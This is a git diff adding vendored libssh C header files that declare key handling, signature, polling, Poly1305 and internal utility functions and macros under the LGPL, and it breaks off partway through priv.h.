b/vendor/libssh/include/libssh/pki.h @@ -0,0 +1,205 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2010 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef PKI_H_ +#define PKI_H_ + +#include +#include "libssh/priv.h" +#ifdef HAVE_OPENSSL_EC_H +#include +#endif +#ifdef HAVE_OPENSSL_ECDSA_H +#include +#endif +#ifdef HAVE_LIBCRYPTO +#include +#endif +#include "libssh/crypto.h" +#if defined(HAVE_LIBCRYPTO) && defined(HAVE_OPENSSL_ED25519) +/* If using OpenSSL implementation, define the signature length which would be + * defined in libssh/ed25519.h otherwise */ +#define ED25519_SIG_LEN 64 +#else +#include "libssh/ed25519.h" +#endif +/* This definition is used for both OpenSSL and internal implementations */ +#define ED25519_KEY_LEN 32 + +#define MAX_PUBKEY_SIZE 0x100000 /* 1M */ +#define MAX_PRIVKEY_SIZE 0x400000 /* 4M */ + +#define SSH_KEY_FLAG_EMPTY 0x0 +#define SSH_KEY_FLAG_PUBLIC 0x0001 +#define SSH_KEY_FLAG_PRIVATE 0x0002 +#define SSH_KEY_FLAG_PKCS11_URI 0x0004 + +struct ssh_key_struct { + enum ssh_keytypes_e type; + int flags; + const char *type_c; /* Don't free it ! it is static */ + int ecdsa_nid; +#if defined(HAVE_LIBGCRYPT) + gcry_sexp_t dsa; + gcry_sexp_t rsa; + gcry_sexp_t ecdsa; +#elif defined(HAVE_LIBMBEDCRYPTO) + mbedtls_pk_context *rsa; + mbedtls_ecdsa_context *ecdsa; + void *dsa; +#elif defined(HAVE_LIBCRYPTO) +#if OPENSSL_VERSION_NUMBER < 0x30000000L + DSA *dsa; + RSA *rsa; +#endif /* OPENSSL_VERSION_NUMBER */ +/* TODO Change to new API when the OpenSSL will support export of uncompressed EC keys + * https://github.com/openssl/openssl/pull/16624 + * Move into the #if above + */ +# if defined(HAVE_OPENSSL_ECC) + EC_KEY *ecdsa; +# else + void *ecdsa; +# endif /* HAVE_OPENSSL_EC_H */ + /* This holds either ENGINE key for PKCS#11 support or just key in + * high-level format required by OpenSSL 3.0 */ + EVP_PKEY *key; +#endif /* HAVE_LIBGCRYPT */ +#if defined(HAVE_LIBCRYPTO) && defined(HAVE_OPENSSL_ED25519) + uint8_t *ed25519_pubkey; + uint8_t *ed25519_privkey; +#else + ed25519_pubkey *ed25519_pubkey; + ed25519_privkey *ed25519_privkey; +#endif + ssh_string sk_application; + void *cert; + enum ssh_keytypes_e cert_type; +}; + +struct ssh_signature_struct { + enum ssh_keytypes_e type; + enum ssh_digest_e hash_type; + const char *type_c; +#if defined(HAVE_LIBGCRYPT) + gcry_sexp_t dsa_sig; + gcry_sexp_t rsa_sig; + gcry_sexp_t ecdsa_sig; +#elif defined(HAVE_LIBMBEDCRYPTO) + ssh_string rsa_sig; + struct mbedtls_ecdsa_sig ecdsa_sig; +#endif /* HAVE_LIBGCRYPT */ +#if !defined(HAVE_LIBCRYPTO) || !defined(HAVE_OPENSSL_ED25519) + ed25519_signature *ed25519_sig; +#endif + ssh_string raw_sig; + + /* Security Key specific additions */ + uint8_t sk_flags; + uint32_t sk_counter; +}; + +typedef struct ssh_signature_struct *ssh_signature; + +#ifdef __cplusplus +extern "C" { +#endif + +/* SSH Key Functions */ +void ssh_key_clean (ssh_key key); + +const char * +ssh_key_get_signature_algorithm(ssh_session session, + enum ssh_keytypes_e type); +enum ssh_keytypes_e ssh_key_type_from_signature_name(const char *name); +enum ssh_keytypes_e ssh_key_type_plain(enum ssh_keytypes_e type); +enum ssh_digest_e ssh_key_type_to_hash(ssh_session session, + enum ssh_keytypes_e type); +enum ssh_digest_e ssh_key_hash_from_name(const char *name); + +#define is_ecdsa_key_type(t) \ + ((t) >= SSH_KEYTYPE_ECDSA_P256 && (t) <= SSH_KEYTYPE_ECDSA_P521) + +#define is_cert_type(kt)\ + ((kt) == SSH_KEYTYPE_DSS_CERT01 ||\ + (kt) == SSH_KEYTYPE_RSA_CERT01 ||\ + (kt) == SSH_KEYTYPE_SK_ECDSA_CERT01 ||\ + (kt) == SSH_KEYTYPE_SK_ED25519_CERT01 ||\ + ((kt) >= SSH_KEYTYPE_ECDSA_P256_CERT01 &&\ + (kt) <= SSH_KEYTYPE_ED25519_CERT01)) + +/* SSH Signature Functions */ +ssh_signature ssh_signature_new(void); +void ssh_signature_free(ssh_signature sign); +#define SSH_SIGNATURE_FREE(x) \ + do { ssh_signature_free(x); x = NULL; } while(0) + +int ssh_pki_export_signature_blob(const ssh_signature sign, + ssh_string *sign_blob); +int ssh_pki_import_signature_blob(const ssh_string sig_blob, + const ssh_key pubkey, + ssh_signature *psig); +int ssh_pki_signature_verify(ssh_session session, + ssh_signature sig, + const ssh_key key, + const unsigned char *digest, + size_t dlen); + +/* SSH Public Key Functions */ +int ssh_pki_export_pubkey_blob(const ssh_key key, + ssh_string *pblob); +int ssh_pki_import_pubkey_blob(const ssh_string key_blob, + ssh_key *pkey); + +int ssh_pki_import_cert_blob(const ssh_string cert_blob, + ssh_key *pkey); + + +/* SSH Signing Functions */ +ssh_string ssh_pki_do_sign(ssh_session session, ssh_buffer sigbuf, + const ssh_key privatekey, enum ssh_digest_e hash_type); +ssh_string ssh_pki_do_sign_agent(ssh_session session, + struct ssh_buffer_struct *buf, + const ssh_key pubkey); +ssh_string ssh_srv_pki_do_sign_sessionid(ssh_session session, + const ssh_key privkey, + const enum ssh_digest_e digest); + +/* Temporary functions, to be removed after migration to ssh_key */ +ssh_public_key ssh_pki_convert_key_to_publickey(const ssh_key key); +ssh_private_key ssh_pki_convert_key_to_privatekey(const ssh_key key); + +int ssh_key_algorithm_allowed(ssh_session session, const char *type); +bool ssh_key_size_allowed(ssh_session session, ssh_key key); + +/* Return the key size in bits */ +int ssh_key_size(ssh_key key); + +/* PKCS11 URI function to check if filename is a path or a PKCS11 URI */ +#ifdef WITH_PKCS11_URI +bool ssh_pki_is_uri(const char *filename); +char *ssh_pki_export_pub_uri_from_priv_uri(const char *priv_uri); +#endif /* WITH_PKCS11_URI */ + +#ifdef __cplusplus +} +#endif + +#endif /* PKI_H_ */ diff --git a/vendor/libssh/include/libssh/pki_priv.h b/vendor/libssh/include/libssh/pki_priv.h new file mode 100644 index 0000000..d0e1ef4 --- /dev/null +++ b/vendor/libssh/include/libssh/pki_priv.h @@ -0,0 +1,181 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2010 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef PKI_PRIV_H_ +#define PKI_PRIV_H_ + +#include "libssh/pki.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* defined in bcrypt_pbkdf.c */ +int bcrypt_pbkdf(const char *pass, + size_t passlen, + const uint8_t *salt, + size_t saltlen, + uint8_t *key, + size_t keylen, + unsigned int rounds); + +#define RSA_HEADER_BEGIN "-----BEGIN RSA PRIVATE KEY-----" +#define RSA_HEADER_END "-----END RSA PRIVATE KEY-----" +#define DSA_HEADER_BEGIN "-----BEGIN DSA PRIVATE KEY-----" +#define DSA_HEADER_END "-----END DSA PRIVATE KEY-----" +#define ECDSA_HEADER_BEGIN "-----BEGIN EC PRIVATE KEY-----" +#define ECDSA_HEADER_END "-----END EC PRIVATE KEY-----" +#define OPENSSH_HEADER_BEGIN "-----BEGIN OPENSSH PRIVATE KEY-----" +#define OPENSSH_HEADER_END "-----END OPENSSH PRIVATE KEY-----" +/* Magic defined in OpenSSH/PROTOCOL.key */ +#define OPENSSH_AUTH_MAGIC "openssh-key-v1" + +/* Determine type of ssh key. */ +enum ssh_key_e { + SSH_KEY_PUBLIC = 0, + SSH_KEY_PRIVATE +}; + +void pki_key_clean(ssh_key key); + +int pki_key_ecdsa_nid_from_name(const char *name); +const char *pki_key_ecdsa_nid_to_name(int nid); +const char *ssh_key_signature_to_char(enum ssh_keytypes_e type, + enum ssh_digest_e hash_type); +enum ssh_digest_e ssh_key_type_to_hash(ssh_session session, + enum ssh_keytypes_e type); + +/* SSH Key Functions */ +ssh_key pki_key_dup(const ssh_key key, int demote); +int pki_key_generate_rsa(ssh_key key, int parameter); +int pki_key_generate_dss(ssh_key key, int parameter); +int pki_key_generate_ecdsa(ssh_key key, int parameter); +int pki_key_generate_ed25519(ssh_key key); + +int pki_key_compare(const ssh_key k1, + const ssh_key k2, + enum ssh_keycmp_e what); + +int pki_key_check_hash_compatible(ssh_key key, + enum ssh_digest_e hash_type); +/* SSH Private Key Functions */ +enum ssh_keytypes_e pki_privatekey_type_from_string(const char *privkey); +ssh_key pki_private_key_from_base64(const char *b64_key, + const char *passphrase, + ssh_auth_callback auth_fn, + void *auth_data); + +ssh_string pki_private_key_to_pem(const ssh_key key, + const char *passphrase, + ssh_auth_callback auth_fn, + void *auth_data); +int pki_import_privkey_buffer(enum ssh_keytypes_e type, + ssh_buffer buffer, + ssh_key *pkey); + +/* SSH Public Key Functions */ +int pki_pubkey_build_dss(ssh_key key, + ssh_string p, + ssh_string q, + ssh_string g, + ssh_string pubkey); +int pki_pubkey_build_rsa(ssh_key key, + ssh_string e, + ssh_string n); +int pki_pubkey_build_ecdsa(ssh_key key, int nid, ssh_string e); +ssh_string pki_publickey_to_blob(const ssh_key key); + +/* SSH Private Key Functions */ +int pki_privkey_build_dss(ssh_key key, + ssh_string p, + ssh_string q, + ssh_string g, + ssh_string pubkey, + ssh_string privkey); +int pki_privkey_build_rsa(ssh_key key, + ssh_string n, + ssh_string e, + ssh_string d, + ssh_string iqmp, + ssh_string p, + ssh_string q); +int pki_privkey_build_ecdsa(ssh_key key, + int nid, + ssh_string e, + ssh_string exp); +ssh_string pki_publickey_to_blob(const ssh_key key); + +/* SSH Signature Functions */ +ssh_signature pki_sign_data(const ssh_key privkey, + enum ssh_digest_e hash_type, + const unsigned char *input, + size_t input_len); +int pki_verify_data_signature(ssh_signature signature, + const ssh_key pubkey, + const unsigned char *input, + size_t input_len); +ssh_string pki_signature_to_blob(const ssh_signature sign); +ssh_signature pki_signature_from_blob(const ssh_key pubkey, + const ssh_string sig_blob, + enum ssh_keytypes_e type, + enum ssh_digest_e hash_type); + +/* SSH Signing Functions */ +ssh_signature pki_do_sign(const ssh_key privkey, + const unsigned char *input, + size_t input_len, + enum ssh_digest_e hash_type); +ssh_signature pki_do_sign_hash(const ssh_key privkey, + const unsigned char *hash, + size_t hlen, + enum ssh_digest_e hash_type); +int pki_ed25519_sign(const ssh_key privkey, ssh_signature sig, + const unsigned char *hash, size_t hlen); +int pki_ed25519_verify(const ssh_key pubkey, ssh_signature sig, + const unsigned char *hash, size_t hlen); +int pki_ed25519_key_cmp(const ssh_key k1, + const ssh_key k2, + enum ssh_keycmp_e what); +int pki_ed25519_key_dup(ssh_key new_key, const ssh_key key); +int pki_ed25519_public_key_to_blob(ssh_buffer buffer, ssh_key key); +ssh_string pki_ed25519_signature_to_blob(ssh_signature sig); +int pki_signature_from_ed25519_blob(ssh_signature sig, ssh_string sig_blob); +int pki_privkey_build_ed25519(ssh_key key, + ssh_string pubkey, + ssh_string privkey); + +/* PKI Container OpenSSH */ +ssh_key ssh_pki_openssh_pubkey_import(const char *text_key); +ssh_key ssh_pki_openssh_privkey_import(const char *text_key, + const char *passphrase, ssh_auth_callback auth_fn, void *auth_data); +ssh_string ssh_pki_openssh_privkey_export(const ssh_key privkey, + const char *passphrase, ssh_auth_callback auth_fn, void *auth_data); + +#ifdef WITH_PKCS11_URI +/* URI Function */ +int pki_uri_import(const char *uri_name, ssh_key *key, enum ssh_key_e key_type); +#endif /* WITH_PKCS11_URI */ + +bool ssh_key_size_allowed_rsa(int min_size, ssh_key key); +#ifdef __cplusplus +} +#endif + +#endif /* PKI_PRIV_H_ */ diff --git a/vendor/libssh/include/libssh/poll.h b/vendor/libssh/include/libssh/poll.h new file mode 100644 index 0000000..8e30676 --- /dev/null +++ b/vendor/libssh/include/libssh/poll.h @@ -0,0 +1,169 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef POLL_H_ +#define POLL_H_ + +#include "config.h" + +#ifdef HAVE_POLL + +#include +typedef struct pollfd ssh_pollfd_t; + +#else /* HAVE_POLL */ + +/* poll emulation support */ + +typedef struct ssh_pollfd_struct { + socket_t fd; /* file descriptor */ + short events; /* requested events */ + short revents; /* returned events */ +} ssh_pollfd_t; + +typedef unsigned long int nfds_t; + +#ifdef _WIN32 + +#ifndef POLLRDNORM +#define POLLRDNORM 0x0100 +#endif +#ifndef POLLRDBAND +#define POLLRDBAND 0x0200 +#endif +#ifndef POLLIN +#define POLLIN (POLLRDNORM | POLLRDBAND) +#endif +#ifndef POLLPRI +#define POLLPRI 0x0400 +#endif + +#ifndef POLLWRNORM +#define POLLWRNORM 0x0010 +#endif +#ifndef POLLOUT +#define POLLOUT (POLLWRNORM) +#endif +#ifndef POLLWRBAND +#define POLLWRBAND 0x0020 +#endif + +#ifndef POLLERR +#define POLLERR 0x0001 +#endif +#ifndef POLLHUP +#define POLLHUP 0x0002 +#endif +#ifndef POLLNVAL +#define POLLNVAL 0x0004 +#endif + +#else /* _WIN32 */ + +/* poll.c */ +#ifndef POLLIN +#define POLLIN 0x001 /* There is data to read. */ +#endif +#ifndef POLLPRI +#define POLLPRI 0x002 /* There is urgent data to read. */ +#endif +#ifndef POLLOUT +#define POLLOUT 0x004 /* Writing now will not block. */ +#endif + +#ifndef POLLERR +#define POLLERR 0x008 /* Error condition. */ +#endif +#ifndef POLLHUP +#define POLLHUP 0x010 /* Hung up. */ +#endif +#ifndef POLLNVAL +#define POLLNVAL 0x020 /* Invalid polling request. */ +#endif + +#ifndef POLLRDNORM +#define POLLRDNORM 0x040 /* mapped to read fds_set */ +#endif +#ifndef POLLRDBAND +#define POLLRDBAND 0x080 /* mapped to exception fds_set */ +#endif +#ifndef POLLWRNORM +#define POLLWRNORM 0x100 /* mapped to write fds_set */ +#endif +#ifndef POLLWRBAND +#define POLLWRBAND 0x200 /* mapped to write fds_set */ +#endif + +#endif /* WIN32 */ +#endif /* HAVE_POLL */ + +#ifdef __cplusplus +extern "C" { +#endif + +void ssh_poll_init(void); +void ssh_poll_cleanup(void); +int ssh_poll(ssh_pollfd_t *fds, nfds_t nfds, int timeout); +typedef struct ssh_poll_ctx_struct *ssh_poll_ctx; +typedef struct ssh_poll_handle_struct *ssh_poll_handle; + +/** + * @brief SSH poll callback. This callback will be used when an event + * caught on the socket. + * + * @param p Poll object this callback belongs to. + * @param fd The raw socket. + * @param revents The current poll events on the socket. + * @param userdata Userdata to be passed to the callback function. + * + * @return 0 on success, < 0 if you removed the poll object from + * its poll context. + */ +typedef int (*ssh_poll_callback)(ssh_poll_handle p, socket_t fd, int revents, + void *userdata); + +struct ssh_socket_struct; + +ssh_poll_handle ssh_poll_new(socket_t fd, short events, ssh_poll_callback cb, + void *userdata); +void ssh_poll_free(ssh_poll_handle p); +ssh_poll_ctx ssh_poll_get_ctx(ssh_poll_handle p); +short ssh_poll_get_events(ssh_poll_handle p); +void ssh_poll_set_events(ssh_poll_handle p, short events); +void ssh_poll_add_events(ssh_poll_handle p, short events); +void ssh_poll_remove_events(ssh_poll_handle p, short events); +socket_t ssh_poll_get_fd(ssh_poll_handle p); +void ssh_poll_set_fd(ssh_poll_handle p, socket_t fd); +void ssh_poll_set_callback(ssh_poll_handle p, ssh_poll_callback cb, void *userdata); +ssh_poll_ctx ssh_poll_ctx_new(size_t chunk_size); +void ssh_poll_ctx_free(ssh_poll_ctx ctx); +int ssh_poll_ctx_add(ssh_poll_ctx ctx, ssh_poll_handle p); +int ssh_poll_ctx_add_socket (ssh_poll_ctx ctx, struct ssh_socket_struct *s); +void ssh_poll_ctx_remove(ssh_poll_ctx ctx, ssh_poll_handle p); +int ssh_poll_ctx_dopoll(ssh_poll_ctx ctx, int timeout); +ssh_poll_ctx ssh_poll_get_default_ctx(ssh_session session); +int ssh_event_add_poll(ssh_event event, ssh_poll_handle p); +void ssh_event_remove_poll(ssh_event event, ssh_poll_handle p); + +#ifdef __cplusplus +} +#endif + +#endif /* POLL_H_ */ diff --git a/vendor/libssh/include/libssh/poly1305.h b/vendor/libssh/include/libssh/poly1305.h new file mode 100644 index 0000000..a22fea8 --- /dev/null +++ b/vendor/libssh/include/libssh/poly1305.h @@ -0,0 +1,27 @@ +/* + * Public Domain poly1305 from Andrew Moon + * poly1305-donna-unrolled.c from https://github.com/floodyberry/poly1305-donna + */ + +#ifndef POLY1305_H +#define POLY1305_H +#include "libssh/chacha20-poly1305-common.h" + +#ifdef __cplusplus +extern "C" { +#endif + +void poly1305_auth(uint8_t out[POLY1305_TAGLEN], const uint8_t *m, size_t inlen, + const uint8_t key[POLY1305_KEYLEN]) +#ifdef HAVE_GCC_BOUNDED_ATTRIBUTE + __attribute__((__bounded__(__minbytes__, 1, POLY1305_TAGLEN))) + __attribute__((__bounded__(__buffer__, 2, 3))) + __attribute__((__bounded__(__minbytes__, 4, POLY1305_KEYLEN))) +#endif + ; + +#ifdef __cplusplus +} +#endif + +#endif /* POLY1305_H */ diff --git a/vendor/libssh/include/libssh/priv.h b/vendor/libssh/include/libssh/priv.h new file mode 100644 index 0000000..47af57f --- /dev/null +++ b/vendor/libssh/include/libssh/priv.h @@ -0,0 +1,445 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2003-2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/* + * priv.h file + * This include file contains everything you shouldn't deal with in + * user programs. Consider that anything in this file might change + * without notice; libssh.h file will keep backward compatibility + * on binary & source + */ + +#ifndef _LIBSSH_PRIV_H +#define _LIBSSH_PRIV_H + +#include +#include +#include +#include +#include + +#if !defined(HAVE_STRTOULL) +# if defined(HAVE___STRTOULL) +# define strtoull __strtoull +# elif defined(HAVE__STRTOUI64) +# define strtoull _strtoui64 +# elif defined(__hpux) && defined(__LP64__) +# define strtoull strtoul +# else +# error "no strtoull function found" +# endif +#endif /* !defined(HAVE_STRTOULL) */ + +#ifdef __cplusplus +extern "C" { +#endif + +#if !defined(HAVE_STRNDUP) +char *strndup(const char *s, size_t n); +#endif /* ! HAVE_STRNDUP */ + +#ifdef HAVE_BYTESWAP_H +#include +#endif + +#ifdef HAVE_ARPA_INET_H +#include +#endif + +#ifndef bswap_32 +#define bswap_32(x) \ + ((((x) & 0xff000000) >> 24) | (((x) & 0x00ff0000) >> 8) | \ + (((x) & 0x0000ff00) << 8) | (((x) & 0x000000ff) << 24)) +#endif + +#ifdef _WIN32 + +# ifndef PRIu64 +# if __WORDSIZE == 64 +# define PRIu64 "lu" +# else +# define PRIu64 "llu" +# endif /* __WORDSIZE */ +# endif /* PRIu64 */ + +# ifndef PRIu32 +# define PRIu32 "u" +# endif /* PRIu32 */ + +# ifndef PRIx64 +# if __WORDSIZE == 64 +# define PRIx64 "lx" +# else +# define PRIx64 "llx" +# endif /* __WORDSIZE */ +# endif /* PRIx64 */ + +# ifndef PRIx32 +# define PRIx32 "x" +# endif /* PRIx32 */ + +# ifdef _MSC_VER +# include +# include /* va_copy define check */ + +/* On Microsoft compilers define inline to __inline on all others use inline */ +# undef inline +# define inline __inline + +# ifndef va_copy +# define va_copy(dest, src) (dest = src) +# endif + +# define strcasecmp _stricmp +# define strncasecmp _strnicmp +# if ! defined(HAVE_ISBLANK) +# define isblank(ch) ((ch) == ' ' || (ch) == '\t' || (ch) == '\n' || (ch) == '\r') +# endif + +# define usleep(X) Sleep(((X)+1000)/1000) + +# undef strtok_r +# define strtok_r strtok_s + +# if defined(HAVE__SNPRINTF_S) +# undef snprintf +# define snprintf(d, n, ...) _snprintf_s((d), (n), _TRUNCATE, __VA_ARGS__) +# else /* HAVE__SNPRINTF_S */ +# if defined(HAVE__SNPRINTF) +# undef snprintf +# define snprintf _snprintf +# else /* HAVE__SNPRINTF */ +# if !defined(HAVE_SNPRINTF) +# error "no snprintf compatible function found" +# endif /* HAVE_SNPRINTF */ +# endif /* HAVE__SNPRINTF */ +# endif /* HAVE__SNPRINTF_S */ + +# if defined(HAVE__VSNPRINTF_S) +# undef vsnprintf +# define vsnprintf(s, n, f, v) _vsnprintf_s((s), (n), _TRUNCATE, (f), (v)) +# else /* HAVE__VSNPRINTF_S */ +# if defined(HAVE__VSNPRINTF) +# undef vsnprintf +# define vsnprintf _vsnprintf +# else +# if !defined(HAVE_VSNPRINTF) +# error "No vsnprintf compatible function found" +# endif /* HAVE_VSNPRINTF */ +# endif /* HAVE__VSNPRINTF */ +# endif /* HAVE__VSNPRINTF_S */ + +# ifndef _SSIZE_T_DEFINED +# undef ssize_t +# include + typedef _W64 SSIZE_T ssize_t; +# define _SSIZE_T_DEFINED +# endif /* _SSIZE_T_DEFINED */ + +# endif /* _MSC_VER */ + +struct timeval; +int ssh_gettimeofday(struct timeval *__p, void *__t); + +#define gettimeofday ssh_gettimeofday + +#define _XCLOSESOCKET closesocket + +#else /* _WIN32 */ + +#include + +#define _XCLOSESOCKET close + +#endif /* _WIN32 */ + +#include "libssh/libssh.h" +#include "libssh/callbacks.h" + +/* some constants */ +#ifndef PATH_MAX +#ifdef MAX_PATH +#define PATH_MAX MAX_PATH +#else +#define PATH_MAX 4096 +#endif +#endif + +#ifndef MAX_PACKET_LEN +#define MAX_PACKET_LEN 262144 +#endif +#ifndef ERROR_BUFFERLEN +#define ERROR_BUFFERLEN 1024 +#endif + +#ifndef CLIENT_BANNER_SSH2 +#define CLIENT_BANNER_SSH2 "SSH-2.0-libssh_" SSH_STRINGIFY(LIBSSH_VERSION) +#endif /* CLIENT_BANNER_SSH2 */ + +#ifndef KBDINT_MAX_PROMPT +#define KBDINT_MAX_PROMPT 256 /* more than openssh's :) */ +#endif +#ifndef MAX_BUF_SIZE +#define MAX_BUF_SIZE 4096 +#endif + +#ifndef HAVE_COMPILER__FUNC__ +# ifdef HAVE_COMPILER__FUNCTION__ +# define __func__ __FUNCTION__ +# else +# error "Your system must provide a __func__ macro" +# endif +#endif + +#if defined(HAVE_GCC_THREAD_LOCAL_STORAGE) +# define LIBSSH_THREAD __thread +#elif defined(HAVE_MSC_THREAD_LOCAL_STORAGE) +# define LIBSSH_THREAD __declspec(thread) +#else +# define LIBSSH_THREAD +#endif + +/* + * This makes sure that the compiler doesn't optimize out the code + * + * Use it in a macro where the provided variable is 'x'. + */ +#if defined(HAVE_GCC_VOLATILE_MEMORY_PROTECTION) +# define LIBSSH_MEM_PROTECTION __asm__ volatile("" : : "r"(&(x)) : "memory") +#else +# define LIBSSH_MEM_PROTECTION +#endif + +/* forward declarations */ +struct ssh_common_struct; +struct ssh_kex_struct; + +enum ssh_digest_e { + SSH_DIGEST_AUTO=0, + SSH_DIGEST_SHA1=1, + SSH_DIGEST_SHA256, + SSH_DIGEST_SHA384, + SSH_DIGEST_SHA512, +}; + +int ssh_get_key_params(ssh_session session, + ssh_key *privkey, + enum ssh_digest_e *digest); + +/* LOGGING */ +void ssh_log_function(int verbosity, + const char *function, + const char *buffer); +#define SSH_LOG(priority, ...) \ + _ssh_log(priority, __func__, __VA_ARGS__) + +/* LEGACY */ +void ssh_log_common(struct ssh_common_struct *common, + int verbosity, + const char *function, + const char *format, ...) PRINTF_ATTRIBUTE(4, 5); + + +/* ERROR HANDLING */ + +/* error handling structure */ +struct error_struct { + int error_code; + char error_buffer[ERROR_BUFFERLEN]; +}; + +#define ssh_set_error(error, code, ...) \ + _ssh_set_error(error, code, __func__, __VA_ARGS__) +void _ssh_set_error(void *error, + int code, + const char *function, + const char *descr, ...) PRINTF_ATTRIBUTE(4, 5); + +#define ssh_set_error_oom(error) \ + _ssh_set_error_oom(error, __func__) +void _ssh_set_error_oom(void *error, const char *function); + +#define ssh_set_error_invalid(error) \ + _ssh_set_error_invalid(error, __func__) +void _ssh_set_error_invalid(void *error, const char *function); + +void ssh_reset_error(void *error); + +/* server.c */ +#ifdef WITH_SERVER +int ssh_auth_reply_default(ssh_session session,int partial); +int ssh_auth_reply_success(ssh_session session, int partial); +#endif +/* client.c */ + +int ssh_send_banner(ssh_session session, int is_server); + +/* connect.c */ +socket_t ssh_connect_host_nonblocking(ssh_session session, const char *host, + const char *bind_addr, int port); + +/* in base64.c */ +ssh_buffer base64_to_bin(const char *source); +uint8_t *bin_to_base64(const uint8_t *source, size_t len); + +/* gzip.c */ +int compress_buffer(ssh_session session,ssh_buffer buf); +int decompress_buffer(ssh_session session,ssh_buffer buf, size_t maxlen); + +/* match.c */ +int match_pattern_list(const char *string, const char *pattern, + size_t len, int dolower); +int match_hostname(const char *host, const char *pattern, unsigned int len); + +/* connector.c */ +int ssh_connector_set_event(ssh_connector connector, ssh_event event); +int ssh_connector_remove_event(ssh_connector connector); + +#ifndef MIN +#define MIN(a,b) ((a) < (b) ? (a) : (b)) +#endif + +#ifndef MAX +#define MAX(a,b) ((a) > (b) ? (a) : (b)) +#endif + +/** Free memory space */ +#define SAFE_FREE(x) do { if ((x) != NULL) {free(x); x=NULL;} } while(0) + +/** Zero a structure */ +#define ZERO_STRUCT(x) memset((char *)&(x), 0, sizeof(x)) + +/** Zero a structure given a pointer to the structure */ +#define ZERO_STRUCTP(x) do { if ((x) != NULL) memset((char *)(x), 0, sizeof(*(x))); } while(0) + +/** Get the size of an array */ +#define ARRAY_SIZE(a) (sizeof(a)/sizeof(a[0])) + +#ifndef HAVE_EXPLICIT_BZERO +void explicit_bzero(void *s, size_t n); +#endif /* !HAVE_EXPLICIT_BZERO */ + +/** + * This is a hack to fix warnings. The idea is to use this everywhere that we + * get the "discarding const" warning by the compiler. That doesn't actually + * fix the real issue, but marks the place and you can search the code for + * discard_const. + * + * Please use this macro only when there is no other way to fix the warning. + * We should use this function in only in a very few places. + * + * Also, please call this via the discard_const_p() macro interface, as that + * makes the return type safe. + */ +#define discard_const(ptr) ((void *)((uintptr_t)(ptr))) + +/** + * Type-safe version of discard_const + */ +#define discard_const_p(type, ptr) ((type *)discard_const(ptr)) + +/** + * Get the argument count of variadic arguments + */ +/* + * Since MSVC 2010 there is a bug in passing __VA_ARGS__ to subsequent + * macros as a single token, which results in: + * warning C4003: not enough actual parameters for macro '_VA_ARG_N' + * and incorrect behavior. This fixes issue. + */ +#define VA_APPLY_VARIADIC_MACRO(macro, tuple) macro tuple + +#define __VA_NARG__(...) \ + (__VA_NARG_(__VA_ARGS__, __RSEQ_N())) +#define __VA_NARG_(...) \ + VA_APPLY_VARIADIC_MACRO(__VA_ARG_N, (__VA_ARGS__)) +#define __VA_ARG_N( \ + _1, _2, _3, _4, _5, _6, _7, _8, _9,_10, \ + _11,_12,_13,_14,_15,_16,_17,_18,_19,_20, \ + _21,_22,_23,_24,_25,_26,_27,_28,_29,_30, \ + _31,_32,_33,_34,_35,_36,_37,_38,_39,_40, \ + _41,_42,_43,_44,_45,_46,_47,_48,_49,_50, \ + _51,_52,_53,_54,_55,_56,_57,_58,_59,_60, \ + _61,_62,_63,N,...) N +#define __RSEQ_N() \ + 63, 62, 61, 60, \ + 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, \ + 49, 48, 47, 46, 45, 44, 43, 42, 41, 40, \ + 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, \ + 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, \ + 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, \ + 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 + +#define CLOSE_SOCKET(s) do { if ((s) != SSH_INVALID_SOCKET) { _XCLOSESOCKET(s); (s) = SSH_INVALID_SOCKET;} } while(0) + +#ifndef HAVE_HTONLL +# ifdef WORDS_BIGENDIAN +# define htonll(x) (x) +# else +# define htonll(x) \ + (((uint64_t)htonl((x) & 0xFFFFFFFF) << 32) | htonl((x) >> 